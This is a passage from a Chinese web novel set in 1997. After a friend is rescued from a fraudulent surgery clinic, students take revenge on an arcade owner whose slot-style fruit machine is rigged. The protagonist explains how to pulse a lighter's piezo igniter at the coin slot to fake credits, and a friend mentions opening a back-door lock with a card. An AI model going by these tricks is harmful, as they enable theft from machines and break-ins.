眼皮沉得像灌了铅,她费了很大的力气,才勉强睁开一条缝——天花板是白的,墙壁是白的,连空气都是白的。 这是哪儿? 她一动不动地躺着,大脑像一台老旧的收音机,断断续续地接收着信号。忽然,画面猛地切了回来——无影灯,刺目的白光,医生戴着口罩的脸。 隆胸手术! 她想起来了。 意识一下子清醒了大半。她下意识地想低头看自己的胸口,可脖子僵硬得像生了锈,只能勉强抬起一点点。什么也看不见——被子盖得严严实实。 胸口传来一阵感觉,说不上疼,更像是被什么东西闷闷地压着。麻药劲儿还没过? 她把手伸进被子,顺着病号服的扣子往下摸—— “咦?” 紧接着,她直接把被子拉过头顶,整个人缩了进去。解开两颗扣子,低头一看—— 愣住了。 没有纱布,没有绷带,没有任何手术后的痕迹。胸口还是原来的样子,什么都没有变。 不对啊。手术呢? 她把被子往下拉了拉,露出一双茫然的眼睛。 就在这时,门开了。 李曼拎着暖水瓶走进来,一眼看见床上的罗点点——被子蒙到鼻尖,只露出一双眼睛,活像一只从洞里探出头来的鼹鼠。 “点点!你醒了!”李曼把暖水瓶往床头柜上一放,扑到床边,“你感觉怎么样?头晕不晕?” 罗点点声音哑哑的:“曼曼……现在几点了?” “快十一点了。你从昨天下午一直睡到现在。” “那么久……”罗点点撑着胳膊想坐起来,李曼赶紧扶着她,把枕头竖起来垫在背后。罗点点靠好了,抓着李曼的手,“曼曼,给我做手术的医生呢?我想问问他——” “被抓进去了。”李曼说。 罗点点没反应过来:“抓?抓进去了?抓进哪里去了?” “公安局。”李曼叹了口气,“点点你别急,具体的事我也不太清楚,韩学涛和马辉知道得多一些,我还没来得及细问他们。反正大概是——给你做手术的那家医院不太正规,好像牵扯到什么案子里了。” 罗点点的脸一下子白了:“不正规?!那我的手术——” 李曼还没来得及说什么,门被敲了两下,两个穿警服的男女推门走了进来。 “你好,我们是宁海市公安局的,想跟你了解一些情况。”女警官对罗点点亮了亮证件。 罗点点彻底懵了,眼睛瞪得圆圆的:“我……我什么都不知道啊……” “别紧张。”女警官拉了把椅子在床边坐下,“我们想了解一下你男朋友的情况。” 罗点点下意识地看了李曼一眼。李曼握着她的手,轻轻捏了捏。 “吴翔?”罗点点声音发飘,“他怎么了?” 两个警官对视了一眼。男警官打开记录本,拔开笔帽:“你说的是吴翔?你跟他是什么时候认识的?交往了多久?最近一次见他是什么时候?” 病房楼下,花坛边上。 韩学涛坐在水泥台阶上,手里捏着一瓶矿泉水。马辉蹲在旁边,胳膊肘撑在膝盖上。 韩学涛偏头看了马辉一眼:“不上去看一眼?” 马辉低着头揪草叶子:“上面是市局的人在做笔录,我上去干嘛。” 韩学涛说:“莫非你还想以警察的身份上去?” “我不就是警察吗。”马辉说。 韩学涛笑了一声:“你要这么说,以后我可真懒得理你了。也不知道是谁——在车上急得跟火烧屁股似的,恨不得把车门踹飞了进去救人。现在事儿办完了,人躺在那儿没事了,你倒端上架子了?螺塘小马哥,你这演技不太行啊。” 马辉闷闷地说了一句:“上去见到点点,我也不知道说啥。到时候她问我事情经过,我还挺尴尬的。” “英雄救美,你有什么尴尬的?”韩学涛拧开矿泉水瓶喝了一口,“我看你就是怂。我跟你说,机不可失,时不再来。你这次不抓住机会,等她缓过来了,那扇门就关上了。到时候你再想敲开,难了。” 马辉没吭声。 韩学涛继续说:“我建议你去租几盘港片看看,看看人家真的小马哥是怎么做的。” 马辉哼了一声:“我要长成周润发那样,我还用追?往那一站就行了。” 韩学涛说:“既然知道,你还不加把劲?脸皮厚,吃个够。记住这句没错的。” 马辉没接茬,沉默了几秒,从裤兜里摸出一根烟叼在嘴里,啪嗒一下点着了。火光映着他的脸——眉毛拧着,嘴角往下耷拉着。 他仰起头,对着天上吐了一口烟,眼睛红红的,一脸狠劲:“算了,不说这些。心烦。我现在就想着怎么把吴翔那个畜生给抓回来。一想到这个王八蛋,我就恨得牙痒痒。” 韩学涛说:“我会找人帮你打听消息。出了这种事,他要是听到风声,短期内肯定不敢再来宁海了。不过你放心,我敢保证他现在日子也不好过。” 马辉腰间的传呼机响了。他摘下来低头看了一眼,眉头皱了一下:“我得回所里了。点点这边,你和班长就费点心。” “她还不是你女朋友呢,”韩学涛说,“你这担心得有点名不正言不顺吧——” 他看见马辉的表情要变,连忙笑着拍了拍他的肩膀:“好了好了,开个玩笑。放心吧,有李曼在,还怕没人照顾她?不过我最后跟你说一句——碰到想要的东西就去拿,你不动手,永远都得不到。” 马辉没吭声,把传呼机别回腰带上,转过身,仿佛逃跑似的溜了。 韩学涛看着他的背影消失在住院部门口,站起身,往楼里走。 三楼,走廊尽头。 韩学涛走到病房门口,手刚抬起来准备敲门—— 里面传来罗点点的哭声。 “哇”的一下,突然爆发出来,那声音透过门板,歇斯底里地传入他的耳中。 韩学涛的手停在半空中。 走廊里很安静,只有哭声从门缝里挤出来,一波接着一波。李曼的声音紧跟着响起来,低低的,听不清在说什么,像是在安慰。可安慰显然没有用,哭声越来越大,越来越烈。 韩学涛慢慢把手放下来,摇着头向远处走去。 第146章 你爸这么厉害? 罗点点只是麻醉剂量稍微过了一点,身体并无大碍。警察问讯完毕,办了出院手续后,韩学涛和李曼一左一右,把她送回了师范学院女生宿舍楼下。 一路上,罗点点没怎么说话。李曼挽着她的胳膊,也不催她。三个人就这么沉默着走了一路——从医院到公交站,从公交站到学校门口,像一串被风吹散、却还勉强连在一起的珠子。 到了楼下,李曼松开手,帮她把碎发别到耳后。罗点点站在台阶前,犹豫了一下,转过身来。 “马辉呢?今天怎么没见到他?” 韩学涛说:“他被所里叫走了。出了这么大的案子,那边怎么也得忙一阵儿。” 罗点点“嗯”了一声,伸手跟李曼抱了抱,便转身上楼。 走了三四级台阶,她忽然停下来,在台阶上站了两秒,又转过身,噔噔噔地跑下来,跑到韩学涛面前,站定。 “那个……韩学涛,谢谢你。”罗点点声音不大,“还有,之前我态度不太好……对不起。” 说着说着,她的嘴就扁了起来,眼睛开始泛红,眼看就要哭出来了。 韩学涛一看这架势,赶紧伸手在空中往下压了压:“别别别,你先别哭。” 罗点点吸了吸鼻子,忍住了,但眼眶还是红红的。 韩学涛看着她,忽然问了一句:“罗点点,我问你啊——你记不记得,今年读大几了?” 罗点点一愣:“……大一啊。” “那不就得了。”韩学涛两手一摊,“我们四个从东林来宁海的时候,不也是大一么。你就当我们刚刚毕业、考上了大学,不就好了?” 罗点点愣住了——可以这样算吗? 韩学涛说:“是你自己把事情想复杂了。人是会变的,可一年时间还不到,就算变,又能变得了多少?只不过是我们四个对彼此的了解更深了——这是好事还是坏事?” 罗点点没说话。 “题目做错了,考试考砸了,下次改过来就好了。干嘛哭哭啼啼的?你高中时候就没考砸过?我记得你以前成绩也不怎么样啊,这方面应该比我和李曼更有经验……” 听着韩学涛半是调侃的话,罗点点先是愣住,随即感到几分熟悉的滋味涌上心头;紧接着,心头的重担仿佛倏然卸下,整个人从里到外,一下子松快了起来。 “好,回头我去找你们玩。”罗点点仰起脸,干净的笑容又回到脸上。她挥了挥手,转身跑上了楼梯,一级一级往上,越来越远。 李曼站在韩学涛旁边,看着罗点点的背影消失在楼道里,偏过头看了他一眼。 “点点好像挺吃你这套歪理的,我刚才劝了她半天都不行。” 韩学涛笑了一声:“歪理也是理,能说通就行。” 两人沿着校园的林荫道慢慢走,经过一栋老教学楼、一个荷花池,都没怎么说话,偶尔蹦出一两句,也是只言片语。李曼的情绪明显不高。 走到篮球场边时,韩学涛指了指场边的水泥台阶:“坐一会儿?” “好啊。”李曼说。 两个人坐下来,隔了半个拳头的距离。场上两队人正在打半场,场边围了不少女生,比宁海大学篮球场还热闹,甚至有两个穿着动漫水手服的女孩,正以篮球场为背景拍照。 李曼并着腿,胳膊支在膝盖上,托着下巴看了一会儿,忽然开口—— “你说,人怎么能坏到那种程度?” 韩学涛转过头看她。 李曼肩膀微微发抖:“在医院的时候,警察说完那些话,我整个人都懵了。那一分钟,我一度觉得——警察是不是在编故事?是不是什么恶作剧,故意吓我们的?” 她抬起头,眼睛里像是蒙了一层薄薄的水光:“可那不是编的。点点已经被推进手术室了,我就坐在外面。那些医生、那些护士,全都是他们的人。我要下楼,他们还来抓我——要不是你来了,我不知道会怎样。” 她说着,忽然打了个寒颤:“你知道吗,那个吴翔还给我打过电话,说什么他们公司有个展览,想拉我去做兼职,工资开得很高。还说到时候开车来接我,都到我们学校门口了!” 韩学涛眉头猛地一皱:“小白脸还找过你?什么时候的事?” “没多久,就是我爸调来宁海那天。”李曼说,“当时我就觉得不舒服——这算什么?点点不来找我,他一个人跑过来?我就没去。现在想想,这家伙肯定没安好心。” 韩学涛冷笑一声,眼睛眯了起来:“别多想了。反正螺塘小马哥不会放过他的。” 两个人在篮球场边又坐了一会儿,李曼的心情慢慢缓了过来,肩膀不再绷着。 然后她的肚子“咕噜”叫了两声。 两个人同时一愣,随即一起笑了出来。 “罗点点也真是的,”韩学涛站起来,拍了拍裤子上的灰,“到了她的地盘,也不请我们吃饭。” 李曼说:“我请吧。我听点点说,这边有一条小吃街。” “螺塘?”韩学涛笑道,“那就是马辉的地盘了。” “马辉忙,就不叫他了。”李曼把碎发别到耳后,“今天我们微服私访。” 韩学涛被她这“微服私访”四个字逗得一笑:“行,那我就陪班长大人走一趟。” 两人走出师范学院大门,沿着马路往螺塘街的方向走,十几分钟就到了。 他们看到一个馄饨摊。烧得通红的蜂窝煤炉子上架着一口大铁锅,锅里炖着金黄色的鸡汤,咕嘟咕嘟冒着泡。摊主是个五十来岁的阿姨,手上动作麻利——一手托着馄饨皮,一手用竹片挑起馅料,一捏一个,往锅里一扔,白胖胖的小馄饨便在鸡汤里翻滚沉浮。 旁边还摆着一个卤菜摊,玻璃柜里挂着酱鸭、猪蹄、猪耳朵、牛肉,油亮亮的。 “好香啊,就这儿吧。”李曼说。 两个人找了张小矮桌坐下,要了两碗鸡汤馄饨,又切了一盘猪耳朵、一盘卤牛肉。 正吃着,旁边卤菜摊的老板搬了张凳子坐到馄饨摊这边来,手里端着一碗啤酒,跟馄饨阿姨聊上了。 “你听说没有?矿务局运输科的老丁,被派出所逮住了!”卤菜老板一拍大腿。 “哪个没听说?”馄饨阿姨一边包馄饨一边撇嘴,“卖黑煤嘛,搞腐败嘛,早就该抓了!这帮人贪得脑满肠肥的,害得我们工资都发不起!” 两个人你一言我一语,越说越来劲,越说越气愤。 李曼竖着耳朵听了一会儿,筷子夹着一个馄饨悬在半空中,半天没往嘴里送。 韩学涛看了她一眼:“想什么呢?” 李曼说:“我刚才在学校里还在想——以后要不要就待在学校里工作算了。围墙里面相对单纯,把很多脏东西都隔绝在外面了。” 她偏过头看了一眼还在骂骂咧咧的卤菜老板,又转了回来:“可是现在听到这些,我又觉得特别气愤。我觉得应该像我爸那样,把这些坏蛋、贪官污吏,全都抓进去!” 她说这话时,下嘴唇微微往前一噘,咬着小牙,一脸正气凛然的样子。 韩学涛眉头一挑——你爸这么厉害?能把贪官污吏全都抓进去?当皇上都做不到吧。 第147章 明星97 两人吃饱找车站上了回宁海大学的公交,车上人不多,最后一排靠窗的位置空着。李曼坐进去,韩学涛挨着她坐下。 车窗大开着,晚风灌进来,带着夏日傍晚特有的那种闷热和尘土味。 车开了没两站,路边一家音像店的大喇叭传出了刘德华的声音,顺着风飘进车里,一路追着公交车跑—— “五千年的风和雨啊,藏了多少梦……黄色的脸黑色的眼,不变是笑容……” “八千里山川河岳,像是一首歌……不论你来自何方,将去向何处……” 路边好几家店铺都在放这首歌,音响一个比一个响,有的还错开了拍子,此起彼伏的,像一堆华仔在抢着唱歌。公交车每到一站,歌声就灌进来一波。 李曼靠在车窗边,头发被风吹得有点乱,她伸手拢了拢:“港岛快要回归了耶。” 韩学涛点点头,把手肘撑在前排椅背上,看着车窗外慢慢后退的街景。 港岛回归,还有不到一个月。 街边的灯箱广告已经换上了回归主题,到处是紫荆花和红色的元素。他想起前几天看的报纸——7月1日,驻港部队将从皇岗口岸进港,中英两国政府将在香港会议展览中心举行交接仪式。全世界都在盯着这件事。 所有人都在期待一场盛典,没有人知道,一场金融风暴正在地平线的那一头悄悄靠近。 五月份股市下跌之后,一直趴着没起来。那些持股没卖的人,那些跌了反而加仓的人,都在等——等七月,等盛典,等一个他们想象中的大反弹。 韩学涛知道他们在等什么,也知道他们等来的会是什么。东南亚各国的外汇市场已经有些不对劲了,他在国内经济类报刊上看到过只言片语的报道——泰铢承压,国际炒家虎视眈眈。事后来看,到处都是信号,但在这个时候,没有人真正在意。即便有人看到了,也不会当回事。 这种感觉很奇怪。 就像现在耳边响起的这首《中国人》,在他听来,那已经是老歌了,是以后会被塞进“经典回顾”歌单里的那种。但在车里这些乘客耳朵里,这是时下最流行的新歌,是最潮的玩意儿。他们在追赶的潮流,在他听来已经是怀旧。 韩学涛跟着哼了两句,声音不大,混在窗外的风里。 李曼偏过头看了他一眼:“你喜欢刘德华?” “还行吧。怎么了?” “上次听你哼的也是他的歌——《冰雨》。”李曼说,“不过我觉得这两首歌都不太好听,尤其是这首《中国人》,感觉就是为了回归应景写的。” 韩学涛笑了一下:“现在好不好听无所谓。过个二十年,这些都是经典。” 李曼偏头看着他说:“我们马上要参加‘中港大学生艺术节了’,说不定能碰到华仔哦——要不要我帮你要个签名?” 韩学涛无所谓地一笑:“行啊,帮我签在T恤上,我一辈子都不洗。” 李曼笑着说:“那一言为定咯!” 韩学涛笑着点头,看向窗外。 街灯一盏接一盏地往后退,公交车晃晃悠悠的,像一艘在夜色里慢慢漂流的船。他的脑子里转着别的事——明天得去找老洪,把出国的事敲定下来。东南亚的风暴还隔着一道门,那扇门快要被踹开了,但他还有时间。 “……一样的血,一样的种,未来还有梦,我们一起开拓……” 韩学涛回到寝室,推开门,意外地发现只有于鑫一个人。 这家伙平时往外跑得最凶,寝室里谁不在都可能,偏偏就他不可能不在。可今天倒好,一个人闷在屋里,坐立不安的,像屁股底下长了刺似的。 “怎么就你一个?”韩学涛把包往床上一扔。 于鑫一把抓住他的胳膊:“涛哥,你可算回来了!小巴出事儿了!” “什么事?” “他在游戏厅被扣了!”于鑫语速飞快,“我打电话回来搬救兵,结果一个人都没有,座机响了八百年也没人接。我没办法才跑回来的,可还是找不着人——正好碰到你回来。” 韩学涛皱了皱眉:“小巴挺聪明的一个人,怎么还能出这种事?” “他学习上聪明,其他方面根本不开窍!”于鑫说,“人家游戏厅老板明摆着坑他,他还觉得自己精得很。” “差多少钱?” “八百多块。” 韩学涛翻出钱包往兜里一揣:“走吧,去看看。” 两个人出了寝室楼,一路走得飞快。于鑫嘴就没停过,边走边说,把事情倒了个底掉。 小巴出事的地方就是校外他们常去的那家游戏厅,老板新进了几台水果机——“明星97”。说白了就是拉霸机的变体。面板上画着苹果、西瓜、橙子、铃铛,还有那个最高赔率的“BAR”图案,三个叠在一起叫“大三元”,中一把就是几十上百倍。玩家押分,灯光在图案上一圈一圈地转,最后停在某个位置,中了就按倍率加分。 最刺激的是“开火车”——全场红灯乱闪,屏幕上各种效果一起炸,真能把人的肾上腺素拉满。 赢到的分可以在柜台换钱。 小巴刚开始玩了两天,手气好得邪乎,押什么中什么,一块钱进去,出来两块。又玩了一天,赚了快一百。于鑫当时劝过他,说见好就收,别玩了。小巴嘴上说“玩玩而已,我又不傻”,但眼神已经不对了。 然后就开始输了。 先输回去几十块,小巴不以为意,觉得是正常波动。又输回去一百多,他开始有点急了,但还能控制。等连输三天、把之前赢的全吐出去还倒贴了一百多的时候,他就彻底上头了。 翻本——这是赌徒最要命的两个字。 生活费没了,怎么办?老板笑眯眯地拍着小巴的肩膀:“没带钱没关系,先玩着,中了从分里扣,输了回头再结。” 赊分,听起来像是天大的好事。 结果就是越输越多,越赊越多,像滚雪球一样,到了今天一算账——八百多块。浩哥把账本一拍,翻脸了:“今天不把账结了,别想出这个门。” 于鑫没这么多钱,回来搬救兵,寝室里连个鬼影都没有。 韩学涛听完,脸上也没什么表情。他心里跟明镜似的。 说白了,这种机器就跟赌场里的庄家出老千一个道理——后台有个旋钮,可以调“吃分率”。有些老板喜欢细水长流,把吃分率调低一点,比如百分之六十,让你偶尔赢几把,吊着胃口慢慢割。遇上狠一点的,直接拧到百分之九十,那基本上就是怎么玩怎么输,跟往游戏机里扔钱没区别。 两人到了鑫鑫游戏厅门口,撩开塑料门帘钻进去。 里面烟雾缭绕,灯光昏暗,几台街机前坐着几个半大小子,按键拍得啪啪响。最里面那台水果机前没人,屏幕上还闪着光,像是在等人投币。 于鑫径直走向柜台。 柜台后面,老板正低头吃泡面,一双筷子在碗里搅来搅去,呼噜呼噜地吸着面条。他眼皮都没抬一下:“钱带来了?” “浩哥。”韩学涛从于鑫身后走出来,双手插兜,不紧不慢地走到柜台前,“怎么把我同学扣了?” 浩哥筷子一顿,抬起头来。 他看见韩学涛的脸,愣了一下,眼睛在韩学涛脸上停留了两秒,表情从漫不经心变成了一种说不清道不明的——蛋疼。 他把筷子往泡面碗里一插,“你怎么又来了?” 第148章 把机器刷爆了 韩学涛看着浩哥,就那么不咸不淡地站了几秒,才慢悠悠地开了口:“浩哥,咱俩以前打过一次交道。你就算不了解我,多少也能有点感觉吧。” 浩哥盯着他,下巴微微一抬:“怎么说?” 韩学涛说:“我这同学在你这儿输了不少,你没少从他身上赚钱,赊分那笔账,就算了吧?” 浩哥嗤地笑了一声,把泡面碗往旁边一推:“愿赌服输。赌不起就别来,输了就得认,这话到哪儿都说得通。” “愿赌服输这四个字是不错。”韩学涛点了点头,“但不是谁都有资格说的。” 浩哥眼睛眯了一下:“我就说了,怎么着?有本事你把我的钱赢去,别扯那些用不着的。” 韩学涛淡淡道:“行。浩哥你既然把话撂这儿了,那我回头还真得来你店里玩玩。” “欢迎啊。”浩哥两手一摊,“我打开门做生意,谁来都欢迎。” 韩学涛没再废话,从钱包里掏出钱搁在柜台上:“账清了,人我带走了。” 浩哥瞥了一眼钞票,伸手拿过去,往抽屉里一扔:“走好,不送。” 于鑫早就把小巴从角落里拽了出来。小巴低着头,脸涨得通红,不敢看韩学涛,像只被拎着后脖颈的猫,乖乖地跟着往外走。 三个人出了游戏厅,走到街角的电线杆下面,小巴这才抬起头,声音又低又闷:“涛哥……那钱,我一定会还你的。” 韩学涛摆了摆手:“用不着,这家店的事儿还没结。” 于鑫凑过来,压低声音:“涛哥,怎么弄?”他往游戏厅的方向努了努嘴,“我看过了,那店有个毛病——后门的锁是老式十字锁,拿张饭卡一捅就能开。他那监控也是假的,就一个壳子挂在墙上,里面连线都没接。晚上人都走光了,咱把锁捅开进去,把水果机砸了,谁知道是咱们干的?” 韩学涛看了他一眼。 于鑫平时看着大大咧咧、嘴里没个正形,没想到观察得这么细,连后门锁芯、监控真假都门儿清。 “钱的事儿就从钱上解决。”韩学涛把目光收回来,“动了手事情就升级了,没必要。” 于鑫挠了挠头:“那怎么办?跟他赌?那机器就是吃钱的,小巴输成啥样你也看见了。” 韩学涛没直接回答,从裤兜里摸出一个打火机,翻过来看了看底部的压电陶瓷,又揣了回去。 “你知道这玩意儿的压电陶瓷,能打出多少伏的电压吗?” 于鑫一愣:“啥?” 韩学涛说:“拆下来,对着投币口或者退币口一按,高压脉冲干扰电路,主板会误判成有硬币进来。自动加分。” 于鑫眼睛一下子瞪圆了。 小巴也抬起头来,嘴巴微张,一脸“这也行”的表情。 “不过有个问题。”韩学涛接着说,“高压脉冲容易烧主板,轻则死机重启,重则主板报废。浩哥要是装了防电器,机器会鸣笛报警。” 早期“明星97”主板的防静电能力差,后面屡次报修,厂家才改进,不过那是九八年以后的事了,现在浩哥刚进,应该还不知道这个bug。 于鑫咽了口唾沫:“那怎么办?试不试?” “试。”韩学涛说,“但不在这儿试。先弄个打火机,找个地方练练手。回头去店里,看看他有没有装防电器。没装就慢慢来——每次加个百来分,别一次性搞太多,细水长流。” 于鑫听得两眼放光,搓着手说:“那我去买打火机,多买几个,拆坏了也不心疼。” 三个人正说着,身后忽然传来一个女生的声音。 “韩学涛?于鑫?” 韩学涛一回头,路灯下站着两个女生——展雪和胡荔荔,手里拎着从校门口超市买的塑料袋,看样子是路过。 展雪穿了一条碎花裙子,头发披在肩上,路灯的光落在她脸上,把五官映得格外柔和。胡荔荔扎着马尾,嘴里叼着一根冰棍,正歪着头看他们。 “你们在这干嘛呢?”胡荔荔含糊不清地问。 于鑫嘴快,刚要开口,韩学涛一胳膊肘顶了他一下。但已经晚了——胡荔荔看见小巴那副灰头土脸的样子,眼珠子一转,把冰棍从嘴里拿出来,朝游戏厅的方向一指:“你们该不会是从那儿出来的吧?” 于鑫憋不住了,压低声音把事情大致说了一遍。胡荔荔越听眼睛越亮,到后来冰棍也不吃了,一脸跃跃欲试:“带我一个,我也要玩。” 韩学涛皱了皱眉:“你凑什么热闹?” “我怎么是凑热闹?”胡荔荔理直气壮,“我给你们望风还不行吗?再说了,万一你们被人堵了,我还能回去搬救兵呢。” 展雪站在旁边,一直没怎么说话。她看了看韩学涛,忽然开口:“打火机放我身上吧。我去下注,看谁敢把我怎么样。” 韩学涛看了她一眼。 展雪迎着他的目光,嘴角微微弯了一下,没再说什么。 于鑫在旁边使劲点头:“对对对,我就不信浩哥还敢搜她身!” 韩学涛笑了笑:“行,你们想玩就玩吧。” 几个人分开行动。于鑫跑去小卖部买了五个打火机,回来的时候手里还多了一把小螺丝刀。韩学涛拆了一个,把压电陶瓷取出来,又用小刀削了削塑料外壳,露出两个金属触点。 几个人找了个没人的墙角,韩学涛拿着拆好的打火机对准胡荔荔的电子表试了一下——一按,表盘上的液晶数字猛地跳了一下,又恢复正常。 “能搞。”韩学涛说。 下午四点,游戏厅里人正多的时候,几个人一起走了进去。 韩学涛走在最前面,一进门就朝柜台那边扬了扬手:“浩哥,带朋友来玩玩你的水果机。” 浩哥正在柜台后面跟几个人打牌,听见声音抬起头,看见韩学涛那张笑脸,心里咯噔了一下!瞥了一眼韩学涛身后——于鑫、小巴,还有两个女生,一个穿碎花裙子,一个扎着马尾叼着冰棍。 “随便玩!”浩哥抬了抬下巴,脸色不爽。 水果机前面坐着一个戴眼镜的男生,正拍着按键大喊大叫,屏幕上灯光乱闪,最后停在一个西瓜上——没中。男生骂了一句,又投了两个币。 展雪走过去,往机器旁边一站,也不说话,就那么看着。 那男生又玩了几把,输了两把中了一把小的,分数刚涨到四十又掉了回去。展雪等了一会儿,伸手轻轻敲了敲机器面板:“同学,让我玩两把呗?” 戴眼镜的男生抬起头,看见一个穿碎花裙子的女生站在旁边,愣了一下,脸微微一红,二话没说就站了起来。 展雪坐下,从口袋里掏出两个币投了进去。 他开局玩得很慢,押个五分十分的,有一下没一下地拍着启动键。偶尔中一把,分数慢慢往上爬,从二三十爬到七八十。她的左手一直放在裙子侧面的口袋里,指尖捏着那枚改装过的打火机。 玩了几把之后分数又掉了下去,旁边围观的人渐渐没了兴趣,散了大半。浩哥在柜台那边继续打牌,偶尔往这边看一眼。 展雪不等了,左手在口袋里对准投币口的方向,轻轻按了一下。 屏幕上毫无动静。 她没慌,又按了一下。 分数从十五跳到了六十五——五十点,不多不少,刚好够她继续玩下去。 她随手押了十分苹果,拍下启动键。灯光旋转,停下,苹果——中了。分数从六十五跳到八十五,中奖的音乐短促地响了一声,旁边一个烫着卷发的男生瞥了一眼,没太在意。 展雪又玩了几手,中间又按了两次,分数慢慢涨到了一百八。她故意输了两把,降到一百五,再慢慢往上打,整个过程不紧不慢,像织毛衣,一针一针,不急不躁。 胡荔荔的冰棍吃完了,把棍子扔进垃圾桶,凑到展雪旁边看了一眼屏幕:“哟,一百多分了,请我吃冰棍啊?” 展雪笑了一下:“等会儿。” 她又玩了几手,按得越来越大胆,分数到了一百九。这一次按下去的时候,机器忽然发出了一声清脆的长鸣——不是中奖的那种,而是另一种声音。展雪的手指在口袋里顿了一下。 从那一声之后,分数不再缓慢攀升,而是开始跳跃。五十、一百、一百五……屏幕上灯光闪得越来越密,中奖的音乐接连不断地响起来,叮叮当当的,一声接一声,像有人在使劲摇晃铃铛。 旁边的卷发男生被吸引过来,眼睛瞪得溜圆:“我操,这什么手气?连中好几把了吧?” 又有两个人围了过来。展雪面前的机器红灯一闪,屏幕上猛地跳出了一个大三元——三个BAR齐刷刷地停在正中间,音响里爆出一声炸响,分数直接跳到了九百多。 “大三元!”卷发男生惊呼出声,这一嗓子把半个游戏厅的目光都拽了过来。 就在那一瞬间,整台机器像发了疯似的,红灯乱闪,“开火车”的轰鸣声响彻整个游戏厅,低音炮震得地板都在微微发颤。 分数从九百跳到一千四,又跳到了一千九,最后——稳稳当当地停在两千三百八。 第149章 平事 屏幕上的数字不再动了。 游戏厅里忽然安静了一瞬,随即像炸开了锅。街机没人打了,麻将桌也空了,连角落里那桌打牌的人都伸长了脖子往这边看。人群呼啦啦地围上来,里三层外三层,把展雪团团围在中间。有人踮着脚尖往里瞅,有人趴在前面人的肩膀上,还有个干脆搬了凳子站上去,生怕错过什么好戏。 “两千三百八十分!我没看错吧?” “我操,这什么手气?连中多少把了?” “这女的什么路子?没见过这么玩的!” “大三元加开火车,这台机器怕是要被她打爆了!” 议论声嗡嗡地响成一片,所有人的目光都像被钉住了似的,死死盯在那台水果机和坐在前面的展雪身上。 浩哥从柜台后面冲了出来。 他拨开人群挤进去,弯腰凑近屏幕,眼睛瞬间瞪大,死死盯着那个数字——2380。 “这怎么可能?”他脱口而出。目光在展雪和韩学涛脸上扫过,最后又落回屏幕,语气里满是难以置信—— “你们怎么搞的?” 这话一出口,周围反倒安静了几秒。 韩学涛双手插兜,似笑非笑地看着浩哥:“浩哥,饭可以乱吃,但话不能乱讲。周围这么多人看着,分数怎么来的,你可以问问大家呀。”他偏了偏头,“这店是你的,机器也是你的,该不会——输不起吧?” 话音刚落,人群里立刻有人接话:“人家女生自己打的,我们都看着呢!” “就是,又没碰机器,怎么就输不起了?” “老板,愿赌服输啊!” 七嘴八舌的,全在替展雪说话。 展雪从小板凳上站起来,不紧不慢地整了整裙子:“老板,就这些分,结算吧。” 浩哥盯着她,太阳穴突突直跳。 这台明星97的吃分率,他今天早上才亲手调到百分之七十五。正常玩家往里扔五百块,能打出个百来分的奖已经算运气好的了。两千三百八十分?按倍数算,至少要往机器里“吃”进去三千多块的币量才能吐出这个数。这帮人今天才来了多久?就算从进门就开始玩,也根本没投那么多钱进去。 他敢肯定,这帮人百分之一千做了手脚。 可问题是——怎么做的?他完全看不出来。 他的目光在展雪身上停留了两秒,从她脸上往下扫了一下,又赶紧收回来了。这下更头疼了。要是男生,他真想叫人来搜搜身,看看是不是藏了什么作弊的东西。可这是个女生,而且是个很漂亮的女生。别说搜身,他碰都不敢碰一下。这要是传出去说他摸了人家小姑娘,这店还开不开了? 何况周围这帮打游戏的小崽子,把展雪围在中间跟看女神似的,一个个眼睛都放着光。他有一种强烈的预感——这个女生只要说一句“老板欺负人”,这帮人能当场把他的店给砸了。 可两千三百八十分,换成钱,差不多是他这里一个月的收入了。 于鑫不知道什么时候挤到了前排,笑嘻嘻地开了口:“浩哥,您这机器今天状态不错啊,中奖率这么高。我们明天还来,您可别关门啊。” 胡荔荔站在他旁边,冰棍已经吃完了,手里只剩一根木棍,她咬着木棍的尾端,含混不清地补了一刀:“对啊,良心机器,回头我帮您在同学里面宣传宣传,保证天天爆满。” 小巴更是不客气,声音不大,却字字带刺:“浩哥,我前几天在你这里输了八百多块,你跟我算得清清楚楚。今天人家赢了钱,你不会说机器坏了吧?” 他刚才站在最前面,看着展雪一把又一把地中奖——苹果、西瓜、铃铛,一路中到大三元,再到开火车时满屏红灯炸响的瞬间——他兴奋地差点跳起来。那几分钟里,他把自己这几天输钱的憋屈全忘了,像是有人替他狠狠地出了一口恶气。 浩哥咬着后槽牙,腮帮子鼓起一块,金链子上面的喉结上下滚动。他环顾了一圈——周围几十双眼睛盯着他,有看热闹的,有幸灾乐祸的,有等着看他出丑的。没有一双眼睛是站在他这边的。 “等着。”他深吸一口气,这两个字几乎是从牙缝里挤出来的。 不给不行了。 他转身回到柜台,翻出铁皮盒子,开始一张一张地数。最后把一大摞钞票和硬币推过来的时候,额头上的青筋都鼓了起来。 展雪接过钱,当着他的面一张一张数了一遍,然后不紧不慢地塞进布钱包里,拉好拉链。 浩哥看着那个鼓鼓囊囊的布钱包,眼角都在抽。但他顾不上心疼了,一把拉住韩学涛的胳膊,把他拽到柜台旁边的角落里,压低声音:“老弟,今天这事儿就这么算了。你们以后别来了,行不行?就当给我个面子。” 韩学涛靠在墙上,没说话。 浩哥又往前凑了一步:“我给你们赔个不是,今天算我栽了。行不行?” 韩学涛语气不咸不淡地开口:“浩哥,你空口说白话啊?” 浩哥急了:“你都搞了我两千多块了,还想怎么样?” 韩学涛说:“我带女生来的,不用请人家吃饭?” 浩哥的眼珠子差点没瞪出来:“我他妈天天吃泡面,你请女生吃饭要两千多?” 韩学涛没接话,就那么看着他,嘴角挂着一丝似笑非笑的弧度。 浩哥腮帮子鼓了又鼓,最后像泄了气的皮球,肩膀一下子塌了下来:“行行行,你开个条件吧。” 韩学涛伸手搂住浩哥的脖子,把他拉近了一点:“我不难为你。我同学在你这里输了多少钱,吐出来吧。” 浩哥愣了一下,随即转身从柜台抽屉里摸出几张钞票,数了数,递过来:“他在我这儿总共输了四百多,我给你五百整。行了吧?” 韩学涛接过钱,没再说什么,转身就走。 于鑫、展雪、胡荔荔、小巴四个人跟着他鱼贯而出。身后的游戏厅里,议论声像炸开了锅一样嗡嗡地响了起来。 出了门,韩学涛把手里那五百块钱塞给小巴—— “浩哥拿钱出来给你平事儿的。以后你们谁想用这种方法再来搞钱,那是你们自己的事儿,别来找我了。” 第150章 富婆不瞎 回到学校,展雪从包里掏出那个鼓鼓囊囊的布钱包,拉开拉链,把一沓钱拿在手上。 “分了吧。”她说。 小巴第一个摆手:“我不要。我之前亏的钱都已经拿回来了,这钱我不能再拿了。再拿我成什么了?” 